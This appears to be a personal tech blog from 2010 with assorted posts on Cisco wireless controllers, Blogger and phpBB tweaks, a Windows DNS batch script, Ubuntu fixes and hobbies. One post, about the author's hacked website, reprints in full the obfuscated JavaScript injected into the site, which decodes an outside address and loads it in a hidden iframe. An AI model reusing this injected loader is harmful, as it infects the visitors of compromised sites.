Search This Blog

Friday, 31 December 2010

Routing a Cisco WLC 'service' port.

We have an almost 100% Cisco VoIP Wireless installation (apparently when it was installed the biggest in Europe) with 300 7921 handsets all hooked up to 4400 Wireless LAN controllers and a Wireless Control System.  Installed by TouchBase.


Once tuned this has worked pretty flawlessly and has pretty much been left alone.


We've recently started to implement Zenoss enterprise running out of our North American data centre and wanted to obviously add the WLC appliances.


Problem.  Our enterprise uses an RFC1918 10.0.0.0 subnet which is WAN routable.  The WLC's are configured as per the Cisco doc with the management port using a 172.16.0.0 subnet, not WAN routable.  or not a subnet we want to route.  The 172.16 was only ever intended as the isolated network for the WLC and AP's.



I looked into changing the MGT port IP - got scared as the AP's need to use it for the initial LWAPP b'cast, they then switch to using the AP-Manager port, also on the same subnet.  What about using the service port ?


The APs & Management interface are on 172.16.##.0/24.  The Service port on 10.##.##.0/24.  Reading the documentation the rules are: 'Management' port for in band and 'service' for out of band management.  The Service port is by default not routable.  Which is fine for London as the core switches route 172.16.##.0 and we've historically used that interface.  But not if we wanted to use Zenoss without routing 172 across the WAN and as that subnet was only ever designed to be isolated thats not an option.

I found in the doc that you can add static routes which the service port will use.  I first tried assigning this using WCS, which would only apply the route to one controller.  Claiming the route already existed when you applied to the second - gotta love Cisco managment software, it always does 'most' of what you need, never all.  So I static routes on EACH WLC (ie : not the recommended way).  But this works.  The service ports are now accessible across the WAN and so far work fine.

I've reset a couple of APs and they also seem fine.  Fingers crossed.

Saturday, 25 December 2010

YLOD update 2

Acquired said heat gun and followed the videos but to no avail. I even repeated the process twice. FAIL.


Am now the proud owner of a PS3 Slim. And I must say its so much better. At least the contents of the room aren't sucked into the fan when it starts, in fact its almost silent.

Saturday, 18 December 2010

Dynamic web page to display Picasa Web Albums

For a while now I've been uploading my vacation photos to the paulregan.co.uk site, in fact that's how it started.  Parents and friends wanting to see the recorded history of our  vacations ..


I've been using JAlbum with the Foto player template.  Which is great and worked really well.  Its slightly laborious to create a new folder but for the 3-4 times a year I needed it worked fine.


I then got hooked on photography and wanted to be able to upload some of my (in my opinion) better shots to the site.  JAlbum was too slow to just throw one or two shots up.  I needed something more dynamic.


I'd been using Picasa & Picasa Web Albums for a while which was a snap to sync between an album on the PC/MAC and the Picasa Web cloud.  Picasa does have a html generating tool with some funky templates but that was more the JAlbum model which I didn't want. 


If only Picasa Web had a pretty embed display, something like the lightbox or zoombox scripts .. before you comment picasa does, your right, it does but its pretty nasty.


I stumbled across www.paulvanroekel.nl ... He writes templates for both Picasa.  And more importantly for Picasa web !  The php code pulls the pictures from all or a designated online album.  Update your album, you site dynamically updates the changes.


Pick the template, download, tweak the config and upload to your site.  Simples.  Almost.


Not sure what causes it, maybe my providers PHP version.  But the template files are all .php.  trying to open them on the web caused :




Parse error: syntax error, unexpected T_OBJECT_OPERATOR, expecting ',' or ';' in /home/users/web4831/html/paulregan.co.uk/gallery/index.php on line 97 




Some quick googling had me change the extension from php to php5 - job done


paulregan.co.uk/gallery/index.php5

Friday, 10 December 2010

Wednesday, 1 December 2010

To change the blog header link

How to link the header to another page

Goto design
Layout
Expand Widgets

Find the following code

<!--Show the image only-->

      <div id='header-inner'>

        <a expr:href='data:blog.homepageUrl' style='display: block'>


Change the last part to

<a href='your url' style='display: block'>

For example


<a href='www.google.com' target="_blank" style='display: block'>

Movember - Week Four




Saturday, 27 November 2010

Canon 'RAW' format thumbnails.

Trying to only shoot RAW pictures and was fed up with no native support thumbnail view in Windows 7 explorer.

Found that Canon supply a RAW codec which fix's the thumbnail.  Unfortunately it doesn't display the EXIF information - which is a pain and means you still need to open the files in an app.

http://software.canon-europe.com/

Wednesday, 17 November 2010

Movember - Week Two

In the name of charity I, and two of my co-workers shall be nurturing top lip facial hair for the month of November.

Please give generously, if not for the good work of the charity then for the sheer fun of me walking around looking like a member of Village People, who are now my inspiration .. 

http://www.paulregan.co.uk/movember

Week 2

Saturday, 13 November 2010

BioSignature

Have you come across BioSignature ? - If not its the theory of Charles Poliquin


http://www.charlespoliquin.com/TheBiosignatureMethod.aspx

From years of trial and error with some science mixed in it claims to identify internal body functions & hormone levels from a fat % test.  Theres loads of info to read and its caught my attention.  12 body points measured and  run through a formula to provide results which are then interpreted.
  • Chin and Cheek: The first sites to go down during a diet. These sites aren't linked to any particular hormone imbalance but act as indicator sites as to whether or not the plan is working or not.
  • Pectoral and Triceps: The androgen sites. High pec readings in men in relation to the triceps can reflect an androgen imbalance which makes it far more difficult to add lean muscle mass.
  • Suprailliac and Subscapular: The insulin sites. These sites are related to blood sugar management. High readings here vs. the triceps may reflect poor insulin sensitivity and carb intolerance.
  • Mid-axillary: This site is correlated to thyroid hormone levels.
  • Umbilical: The infamous cortisol site. It can be high despite low overall body fat. If this site is imbalanced then steady state cardio would create a further imbalance and cause the client to store fat rather than burn it.
  • Knee and Medial Calf: These skinfolds are related to growth hormone and act as an indicator in the quality and quantity of sleep a client experiences.
  • Quadriceps and Hamstring: High levels here vs. the triceps are correlated to high estrogen levels. This site usually comes up in females. Lactate threshold training works best here.
My first test was 20% bf over all, low carb tolerance, high oestrogen and low t.

After a month of high protein low carb, in fact zero carbs in the week, and high doses of omega I'd gone down a whole 1% !! .. but muscle up 4kg .. which is nice but not whats supposed to happen.  

The second test showed some sites up and some down but mainly oestrogen was up which apparently accounts for the shite bf loss.  After talking over the past months changes its been attributed to dosing on crap fish oil and so actually ingesting more xenoestrogens.  But now my cynical side is starting to kick in.

I'm going to persevere with it, probably with some more attention after Christmas.  The next step has been suggested to get some blood work done to check some minerals (magnesium & zinc) and vit D with blood tests.  I'm actually also thinking of getting hormones tested to confirm or debunk the results, or at least use in conjunction with.  

Not sure how that would work, its hard to ask the biosignature practitioner, who I must add seriously knows his stuff, to examine the hormone results which is actually questioning the validity of the test in the first place.  

I mean does it just give you a number for each which falls in a range .. Actually I can google that ..

Friday, 17 September 2010

Canon D30, Tamron 18-270 & Long Exposures

On vacation in France, a private waterfall at our disposal. A perfect chance to try my recently purchased tripod to see if I can create some of those silky water shots.


Sat there for an hour playing with settings thinking I was great. Checked them later and they where pretty much all blurred.






Two mins googling and a link with disabling image stabilisation on the lens. Bingo. On the Tamron its actually VC (I forget the acronym). Tried a couple of test shots and it appears problem solved.


Back to the waterfall tomorrow afternoon.


I also found that VC doesn't actually work in the timed (10 seconds) shot mode. But it does seem to make a difference when the d30 takes the picture. So turn it off.


Not sure what other lens do this. I'll hopefully find out soon when I buy my bosses 'L's.



Friday, 27 August 2010

Adding other directories to Drop Box

Drop Box is a brilliant app for syncing files between different PC's & OS's via the cloud.
Highly recommended !

By default Drop Box will only monitor and sync files and directories in the folder you set up, or by default \Users\User\Documents\My DropBox.

To add 'other' files you can create a symbolic link in the drop box directory to the external area.

Start a command prompt
(Depending on your OS then you may need to start a command prompt as Administrator)

mklink /d {source} {destination}
eg
mklink /d "C:\Path\To\My Dropbox Folder\" "\Path\to\directory"
 
Pathto can be a UNC or mapped drive letter. 
 
In your drop box folder will now be the link, which will appear exactly like another folder.

Saturday, 21 August 2010

Lost TomTom favorites

After upgrading my software and then installing a bunch of new maps I noticed my favorites had got lost.  Reluctant to restore from a backup using HOME I found this :
Connect your TT to the PC, shut down TomTom "Home" if that opens. You will notice the TomTom is recognised as a new hard drive.
Now, using Windows Explorer, open the backup folder you made on the PC. Look in the named map folder for the "MapSettings.cfg" file.
If you find it, copy that file and paste it into the same place on the TomTom itself.
Sorted ..

My websites been hacked !

I run a forum www.bvra.org.uk and a personal site www.paulregan.co.uk.

Last night someone posted on the forum that Google had flagged the site as dangerous and a follow post that Kaspersky was reporting a trojan - Trojan.JS.Iframe.nk

What !, my forum, no way .. I tried a few things and my AV (Mcafee) didnt complain.  Odd, check the date time on the files and low and behold the index.* (htm, html, php) files had been changed 2 days ago .. not by me.


<body><script>
var I={j:{I:{I:'~',l:'.',j:'^'},l:{I:'%',l:218915,j:1154%256},j:{I:1^0,l:55,j:'ijl'}},I:{I:{I:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=I.I.I.I(I.l.I.I('.75.67.67.63.3a.2f.2f.31.31.33.2e.31.31.2e.31.39.34.2e.31.37.37.2f.75.67.71.62.70.66.2f.74.6e.67.72.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.67.72.7a.63.79.6e.67.72.66.61.72.6a.66'));var j=(l)?I.I.I.l():false;return j;}},l:{I:function(){var l=I.I.I.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=I.I.j.j(I.I.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=I.I.j.I(I.I.l.I());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{I:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return I.I.j.I(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{I:{I:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'21',j:'16'},l:{I:'50',l:'85',j:'81'},j:{I:'55',l:'85',j:'57'}}}
I.I.l.j();</script>





Had been added to both the forum and my personal site index files.  A strange file templatesnews.php had also been uploaded at the same time.

Anyone know what that code does ? ..

Cleaned the files up and locked FTP, even though I had a stupidly complex password.

I've emailed the hosting company, as I suspected something wider.  They got back to me and told me mine where the only sites - look for Gumblar.

Now last weekend my home PC started to act up, Firefox and Chrome would both crash, actually come to think of it the two sites I always rely on for testing are mine.  That explains it ! .. A quick google and it appears Grumblar can get saved password from CoreFTP which I use, it then inserts code to spread itself.  

Bugger, and I work in IT ! .. My machine runs upto date AV, Spyware, Firewall & Windows updates. How the hell did this get in ..

Props to virtualnames.co.uk who quickly restored my site from backups and I've since disabled FTP and changed the passwords again.


Now to make sure this b'stard thing has'nt infected my since rebuilt OS.

Sunday, 8 August 2010

My first play with HDR





Definitely need a tri-pod and its very easy to go silly .. example picture 2

Wednesday, 4 August 2010

Upgrading Thompson TG585-V7 DSL Router

The box will totally loose its config when you do this  .. IP, admin password, ALL
  1. Backup the config and put a copy locally.
  2. Apply firmware using the upgrade utility.
  3. The FW upgrade will revert the router to its default subnet - 192.168.1.0/24
  4. Browse to http://192.168.1.254.
    • UID : Administrator
    • PW  : Serial Number of router
  5. Restore config from #1
  6. The upgrade seems to loose some of the MAC / device names, if you've defined them.  If you can be bothered re-define the devices.
  7. Change the WLAN back to your key, the firmware applies the default keys.
If you'd previously modified the default DNS servers you'll need to correct this as the fw adds the BE server and makes it default.  Below is how to clean up and add the OpenDNS servers ..

nb//matrix.com is a local DNS server on my network.

Telnet to your modem by running ‘telnet 192.168.0.1′ replace the 192.168.0.1 with your modem’s ipaddress a login with the Administrator account.

Type :
  1. dns server route
  2. list - to list your current DNS settings. Write these down somewhere so you’ll be able to change them back if you want to. 
  3. flush - to delete all dns servers in the list.  
  4. add dns=208.67.222.222 intf=Dynamic_IP  - adds first OpenDNS server.  
  5. add dns=208.67.220.220 metric=1 intf=Dynamic_IP - second Opendns server. 
  6. list - should show the applied changes

     
Then type saveall to save these new settings. And finally exit to exit the telnet session. You should now able to browse the web using OpenDNS.

Sunday, 1 August 2010

Taking HDR shots with Canon 30D

Yet to play with this but it looks interesting. Found a blog with instructions for my camera which I should keep.



- Select Av mode from dial mode
- press menu and go to AEB section, press SET and rotate the rear dial until we have -2/0/+2 marked with green, press SET again and after that hit MENU once again to disappear.
- press DRIVE-ISO and after that rotate top dial until we setup the camera on timer mode. Also setup ISO as low as you can to not have noise on your photos.
Place the body on a tripod hit the shutter release and the camera will take up 3 photos for you to make a beautiful hdr photo. You may test with multiple aperture size.

Saturday, 31 July 2010

Save flash (flv) files locally

This requires Safari & WGET

1. From the Safari menu select Window | activity
 This will display a list of current sites that are open.  In the window you want to capture the media file from start it playing.  In the list you'll see a .flv file.  It will probably be the biggest file size.

2. Copy the URL

3. Run a command prompt and find wget.exe


wget <url>/<file-name>
wget http://www.server.com/files/flash.flv

Wednesday, 28 July 2010

UCS TACACS bug caused hardware reset

One of our Cisco UCS Fabric interconnect 6100 switches reset itself for no apparent reason.  A call to Cisco TAC, which progressed to dev found a problem caused by too many TACACS authentications causing a memory fault.

We use Zenoss for NMS which authenticates pretty frequently using TACACS .. and so pushed it over the limit.

The only fix is to switch back to local authentication until a patch is released.

Saturday, 24 July 2010

Ubuntu 10.04 netbook install on Sony Vaio

I have a really old Vaio,  PCG-TR5MP, I think circa 2004.  I use it really as a travelling backup for my photos and earlier in the year upgraded it to a massive 1Gb RAM and installed Windows 7.  Which worked surprising well and actually better than XP !

Having recently acquired a Mac book which I'll now carry around I thought I'd try one of the netbook versions of Linux on the Sony. Just for giggles.

I've always preferred the Ubuntu distro so went with 10.04 ..

First problem was the Vaio BIOS doesn't support USB boot .. So burnt a CD/DVD.

Boot, install starts, pretty graphics, black screen .... nothing.  Google.  Apparently its an issue with the intel chipset - https://wiki.ubuntu.com/X/Bugs/Lucidi8xxFreezes

To resolve :
1) At the purple screen with a keyboard and stickfigure, press Enter to get to the menu.
2) Hit Enter to select your language, and then press F6 and then Esc.
3) Add "i915.modeset=1" after "quiet splash".
4) Press Enter to boot the LiveCD.
This then installed, but on the first reboot again stuck on the black screen .. so to fix and boot follow :

1) Hold down Shift while booting to enter the GRUB menu.
2) Press 'e' to edit.
3) Add "i915.modeset=1" after "quiet splash".
4) Ctrl+x to boot.

Ubuntu loaded, logged in .... WTF ... the GUI is slow as anything, unusable. 

I then ran :
echo options i915 modeset=1 | sudo tee /etc/modprobe.d/i915-kms.conf
sudo update-initramfs -u
Which I think make the i915 changes permanent ..

and
sudo add-apt-repository ppa:glasen/intel-driver 
sudo apt-get update && sudo apt-get upgrade
Rebooted and the GUI was much better ...

For the hell of it I also did :
sudo add-apt-repository ppa:glasen/855gm-fix
sudo apt-get update && sudo apt-get install dkms 855gm-fix-exp-dkms

I think I did most of this out of order but ultimately I have a functioning install now.

This is why Linux will not win .. sorry Linux people.

Sunday, 18 July 2010

Just going out to vacuum the car ...... 11 hours later

What started as a quick inside clean quickly turned into a mammoth car cleaning lasting 11 hours over two days.


I'd bought all the products months ago and never got around to using them.  But today it was out with the wax, clay and all the other expensive things that had never been used.  In for a penny ..


Day 1


Starting with that quick vacuum.  All the inside wiped down, vacuumed and treated with leather and vinyl products.


Washed the outside with Dodo Juice born to be mild shampoo.  Hosed down and clayed with dodo mild clay.  This was actually way easier than I thought it would be and surprisingly little crap came off the car.


Dried the car and cracked open the dodo juice lime prime lite.  Followed the instructions and did a panel at a time and buffed it off.


Wax coat number one.  Another dodo juice product.  Purple haze.  Went on and came off just remarkably easily. 


Its getting late and the wax needs to cure over night so I turned my attention to the wheels.  Really they are the catalyst for this.  When we were in Wales a few weeks ago allot of the roads where being re-surfaced and unbeknown to me tar and stones had welded themselves onto the inside of the wheels like limpets. 


So a quick soapy wash and then to google for 'clean tar from wheels' search.


Day 2


Wax coat number 2 .. 


Wheels.  Other than expensive products, which I'm certainly not against, the best answer for the tar seems to be good 'ol WD40.  Soak a the corner of a rag and start with the elbow grease.  IT WORKS !  Just takes hours.


Once the tar was off then another wash, rinse and dry. Applied some Rim Wax (snigger) and some vinyl dressing to the plastic and rubber seals, and under the bonnet, and the outside of the tires.






And finished ... An epic session.  But I'm actually really pleased with the results and you can actually feel the coating of wax, which I was surprised by.





Saturday, 17 July 2010

The car gods shined down on me


Bertie (the boxster) MOT & Porsche 111 point check for the extended warranty.  There was I expecting an enormous invoice but all we got was a PASS & another PASS.  Even the tires will be OK for the 3000 mile French blast in September.

The OPC (Official Porsche Centre) in Mid-Sussex, Burgess Hill have been fantastic throughout the whole process, purchase and after care.  And they didn't slap us with a massive bill, al thought I'm braced for that ..

And in addition we got to spend the day in a Porsche Panamera 4 courtesy car.  The new 4 seater luxury, family market saloon(?).  Whatever its aimed at it was a fantastic car.  I was in gadget heaven and pulled some good looks from passers by.  

Oh, I just looked up price ! .. starting at £66,900 - no wonder we got funny looks with Vanilla Ice cranked up.  Probably thought it was stolen.

Couple of niggles which would bug the crap out of me if I owned one, not that I can afford it ..
  • The warp factor 1 & 2 buttons (Sports & Sports Plus) are on the centre console but on the other side of the shift stick.  They'd be better on the drivers side.  I'm guessing this a RHD conversion cost saving thing.
  • Whatever I tried I couldn't get road numbers - other than seriously main ones, to appear on the sat nav.
  • The fuel gauge takes about 5 mins to really display what's in the tank after filling up.  A pain when you have to get the car back with 'just under full'.


Wednesday, 14 July 2010

Microsoft DNS update script - dnscmd

We recently made the decision to use AD DNS internally rather than the mish mash of AD & BIND.  One of the downsides was the inability for bulk load changes.  The DNSCMD command line app is limited.

This is my attempt to fix that with a script.  It deals with creating A & CNAME forward records and cleans up and creates PTR from an input file bulk_load.txt

DNSCMD doesn't deal with existing A records.  The majority of the script deals with finding those and deleting the FWD and REV records.

Feel free to copy, currently its still in test so use with care.

Amendments/suggestions, all welcome .. there are a few hacks in it which I'm sure can be cleaned up.  

And yes it could probably be done on 5 lines in something else.  I just don't know something else.
@ECHO OFF
::        // Paul Regan - 14/7/2010/7/14/2010
::        // This script will take input from dns_bulk.txt, which must be forward zone A or CNAME records.
::        // First check if the entries already exist.  If they do it will prompt to continue.
::        // It will then delete the forward and reverse entries and create the new from the file.
::        // Through-out this script there are a number of hacks due to DNSCMD's inability to produce decent return codes. I rely on
::        // piping STNDOUT through FIND & FC to check FOR response and generate the correct errorlevel
::        // Check the help (/?) for bulk_dns.txt format

IF "%1" == "" GOTO ERROR
IF "%1" == "/?" GOTO HELP
IF "%1" == "?" GOTO HELP

::        // A quick check that bulk_dns.txt EXISTs and confirm its the file to be used
IF EXIST bulk_dns.txt (
    GOTO BULK_EXISTS
) ELSE (
    CLS
    ECHO.
    ECHO.      ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR
    ECHO.
    ECHO       bulk_dns.txt is missing !
    GOTO END
)

:BULK_EXISTS
CLS
ECHO.
ECHO     This is the bulk_txt I found ...
ECHO.
TYPE bulk_dns.txt
ECHO.
ECHO.
ECHO.
CHOICE /C YN /M "continue and use this file ? Press Y for Yes, N for No
IF %ERRORLEVEL%==1 GOTO BEGIN
IF %ERRORLEVEL%==2 GOTO END

:BEGIN
::        // Sets the DNS Server to be used from the STNDIN
SET DNS-SERVER=%1

::        // Clean up any old working files
IF EXIST revip.txt DEL /f /q revip.txt >NUL
IF EXIST recorddeleted.txt DEL /f /q recorddeleted.txt >NUL
IF EXIST recordsexist.txt DEL /f /q recordsexist.txt >NUL
IF EXIST rev-recordsexist.txt DEL /f /q rev-recordsexist.txt >NUL
IF EXIST recordcreated.txt DEL /f /q recordcreated.txt >NUL
IF EXIST summary.txt DEL /f /q summary.txt >NUL
IF EXIST doesntexist.txt DEL /f /q doesntexist.txt >NUL

::        // Reset the variable and then extract the zone from bulk_dns.txt & SET.  We do this as the zone will be common to all commands
SET ZONEFILE=
FOR /f "tokens=2 delims=," %%1 IN (bulk_dns.txt) DO SET ZONEFILE=%%1

::        // loop to determin if any records already exist as we need to first delete them. -->
::        // In theory DNSCMD should return :
::        //  0 = host found
::        //  9714 = host not found
::        // in practice it didnt, possibly to do with the FOR loop.  A hack is to pipe the STDNOUT through find.  A DNS hit response includes @
::        // SetLocal / EndLocal deals with variables being used in a FOR loop, allows the FOR loop to return the correct ERRORLEVELs per loop
CLS
ECHO.
ECHO Checking for existing records ............
ECHO.
SETLOCAL EnableDelayedExpansion
FOR /f "tokens=1-4 delims=," %%1 IN (bulk_dns.txt) DO (
        DNSCMD %DNS-SERVER% /EnumRecords %%2 %%1  | FIND "@"
    IF !ERRORLEVEL! == 0 (
        ECHO %%1.%%2,%%3,%%4 >> recordsexist.txt
    ) ELSE (
        ECHO %%1.%%2 Doesn't Exist >>doesntexist.txt
    )
)
ENDLOCAL
::        // Check to see if recordsexist has been created, and action, o/wise jump to create
IF NOT EXIST recordsexist.txt GOTO :CREATE
::        // Display existing host entries and give an opt out prompt using the file generated from the /EnumRecords loop
CLS
ECHO.
ECHO ******  The following host entries already EXIST *******
ECHO.
TYPE recordsexist.txt
ECHO.
ECHO.
ECHO.
CHOICE /C YN /M "continue ? this will delete and then re-create from bulk_dns.txt Press Y for Yes, N for No
IF %ERRORLEVEL%==1 GOTO DELETE
IF %ERRORLEVEL%==2 GOTO BOMBOUT
GOTO END

:BOMBOUT
GOTO END

:DELETE
::        // Start loops to delete existing A, CNAME & PTR DNS entries
::        // DNSCMD returns a 0 FOR /RecordDelete and exactly the same output regardless IF a delete fails or even IF you attempt
::        // to delete a host that doesnt EXIST.
::        // So its pointless doing any errorlevel checks.  We'll assume that we got this far and they EXIST and we'll be able to delete them
CLS
ECHO.
ECHO Deleting forward zone records ............
ECHO.
FOR /f "tokens=1-9 delims=.," %%1 IN (recordsexist.txt) DO DNSCMD %DNS-SERVER% /RecordDelete %ZONEFILE% %%1 %%9 /f
::        // We now need to clean up the reverse records & will create a rev dns working file from the records in recordsEXIST.txt
::        // Parse the txt file and extract the 'A' records to a new txt file.
CLS
ECHO.
ECHO Fordward records deleted, now the rev zone........if no rev zone exists you will see errors during this process.
ECHO.
TYPE recordsEXIST.txt | find "A" >> rev-recordsexist.txt
::        // Parse that txt file and create a another file with the reverse ip host names
FOR /f "tokens=5-8 delims=,." %%a IN (rev-recordsexist.txt) DO ECHO %%d.%%c.%%b.%%a.in-addr.arpa >>revip.txt
::        // Phew, now we can delete the in-addr.net records using this text file
::        // DNSCMD returns a 0 FOR /RecordDelete regardless so its pointless doing any errorlevel checks
FOR /f "tokens=1-6 delims=." %%a IN (revip.txt) DO DNSCMD %DNS-SERVER% /RecordDelete %%b.%%c.%%d.%%e.%%f %%a PTR /f

:CREATE
CLS
ECHO.
ECHO Create foward and rev records.......if rev zones dont exist you may see errors.
ECHO.
::        // And now, finally, create the host entries
FOR /f "tokens=1-4 delims=," %%1 IN (bulk_dns.txt) do DNSCMD %DNS-SERVER% /RecordAdd %ZONEFILE% %%1 /CreatePTR %%4 %%3
::        // Run a quick /EnumRecords check to confirm records where created and then produce a comparison file of that output to bulk_dns.txt
::        // The | find "@" just removes a bunch of white space from STDOUT
FOR /f "tokens=1-4 delims=," %%1 IN (bulk_dns.txt) do DNSCMD %DNS-SERVER% /EnumRecords %%2 %%1 | FIND "@" >> RECORDCREATED.txt
FC recordcreated.txt bulk_dns.txt | FIND /V "Command" | FIND /V "records" >> summary.txt
CLS
TYPE summary.txt | MORE
ECHO.
ECHO You can review the comparison afterwards with summary.txt
ECHO.
PAUSE
GOTO CLEANUP

:HELP
CLS
ECHO.
ECHO.
ECHO      This script takes input from bulk_dns.txt, checks FOR EXISTing records and then deletes and creates A or CNAME records.
ECHO      It will automatically deal with PTR records, there is no need to put them in bulk_dns.
ECHO.
ECHO      ***** "ONLY USE THIS ON ONE ZONE NA OR EU [eu|na].rtdom.net at a time, NOT A MIX .. !" *****
ECHO.
ECHO      bulk_dns.txt FORmat
ECHO      ",,,"
ECHO.
ECHO      eg A Record
ECHO      server,eu.rtdom.net,A,10.2.66.66
ECHO.
ECHO      eg CNAME Record
ECHO      server,eu.rtdom.net,CNAME,lo-inf-999.eu.rtdom.net
ECHO.
ECHO      The FORmat of the script command is dnscmd ""
ECHO.
ECHO      I have generated an example_bulk_dns.txt FOR reference.
IF EXIST example_bulk_dns.txt DEL example_bulk_dns.txt /f > NUL
ECHO anArecord,eu.rtdom.net,10.2.65.13,A >> example_bulk_dns.txt
ECHO aCNAMErecord,eu.rtdom.net,anArecord.eu.rtdom.net,cname  >> example_bulk_dns.txt
GOTO END

:ERROR
CLS
ECHO      *********** FAIL **************
ECHO.
ECHO script /? For help
GOTO END

:CLEANUP
IF EXIST revip.txt DEL /f /q revip.txt >NUL
IF EXIST recorddeleted.txt DEL /f /q recorddeleted.txt >NUL
::        // Removed this so the user can review the hosts that existed and where over written
REM IF EXIST recordsexist.txt DEL /f /q recordsexist.txt >NUL
REM IF EXIST doesntexist.txt DEL /f /q doesntexist.txt >NUL
IF EXIST rev-recordsexist.txt DEL /f /q rev-recordsexist.txt >NUL
IF EXIST recordcreated.txt DEL /f /q recordcreated.txt >NUL


:END

Tuesday, 13 July 2010

Adding Google Analytics code to Blogger site

Add the url to analytics and cut and paste the script.

Login to your blog and from the main page click 'design' | 'edit HTML'.  Search the text for /body and insert your code just above it.


Before the final /body tag


</table>
<br clear="all" />
<script type="text/javascript">
  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-17416825-2']);
  _gaq.push(['_trackPageview']);
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();
</script>
</body>
</html>

Adding Google Analytics to PHPBB


Create the profile as normal and past the code snippet into your :


/styles/<your_style>/template/overall_footer.html

Before the final /body tag


</table>
<br clear="all" />
<script type="text/javascript">
  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-17416825-2']);
  _gaq.push(['_trackPageview']);
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();
</script>
</body>
</html>

If your using multiple styles then you'll need to update each .html file
Once done make sure your clear the forums cache in the Admin panel.

Monday, 12 July 2010

Chili scovile rating

I've been growing some Scotch bonnets  ....everything above Naga Jolokia are chemical extracts of capsaicin.  So not really chili's

NYC in Summer time


My watch stops @ 40c .. at one point it stopped ..

Monday, 28 June 2010

OS 4 Upgrade on 3GS iPhone

Jumped in with both feet .. works fine, even Lotus notes traveller.

One problem so far which was my photos were showing as really crappy resolution.  Plenty of google hits for this which are basically disable photo syncronisation in iTunes, apply, re-enable.

The first time this left me with black squares were pictures should have have been, repeated the process and that's fixed it ..

Thursday, 17 June 2010

Monday, 14 June 2010

MacBook Pro - Open heart surgery

In an attempt to re-build a Mac which wouldn't boot I came across:


http://www.ifixit.com/Guide/Device/MacBook_Pro_17%22_Models_A1151_A1212_and_A1229

Invaluable site .. The hard disk walk through was a breeze to follow ..

Intel Mac Startup Keys


Press C during startup Start up from a bootable CD or DVD, such as the Mac OS X Install disc that came with the computer.
Press D during startup Start up in Apple Hardware Test (AHT), if the Install DVD 1 is in the computer.
Press Option-Command-P-R until you hear two beeps. Reset NVRAM
Press Option during startup Starts into Startup Manager, where you can select a Mac OS X volume to start from. Note: Press N to make the the first bootable Network volume appear as well.
Press Eject, F12, or hold the mouse (/trackpad) button Ejects any removable media, such as an optical disc.
Press N during startup Attempt to start up from a compatible network server (NetBoot).
Press T during startup Start up in FireWire Target Disk mode.
Press Shift during startup Start up in Safe Boot mode and temporarily disable login items.
Press Command-V during startup Start up in Verbose mode.
Press Command-S during startup Start up in Single-User mode.
Press Option-N during startup Start from a NetBoot server using the default boot image.

Sunday, 13 June 2010

Telescopic Window Brush

The ones to reach those high windows ...



  Shite .. step away, make do with whatever cack-handed way you currently do it ..

Wednesday, 9 June 2010

Blackberry Email & MDS Simulator on Windows 7

FAILS !

After spending sometime working it out the Tomcat app needs write access to the %Program Files% directory.  Which windows 7 blocks .. to fix :

  1. Via the folder properties go to your security tab.
  2. In the bottom half you have the permissions listed for users, click the Advanced button
  3. Now go to the Owner tab, click Edit button (you will be asked for permision if UAC is at default
  4. Change owner to your account and be sure to check the ‘Replace owner on subcontainers and objects’ and click Apply button. this results in all files including system files being switched to your account as owner!
  5. Now in the ‘Advanced Security Settings for (your folder)’ you need to edit the permissions: select your account (the one you just used to take ownership) and click Edit button.
  6. You now see the Permissions tab and you need to again select your user account. (ensure that the permission is Full Control) check the lower ‘Replace all existing inheritable permissions…’ box and click Apply.
Done!

I also found running the app from Start Menu failed and needed to execute 'run.bat' from a command line.




Sunday, 30 May 2010

Front room project

This was done in 2008, but thought I'd post for prosperity ..

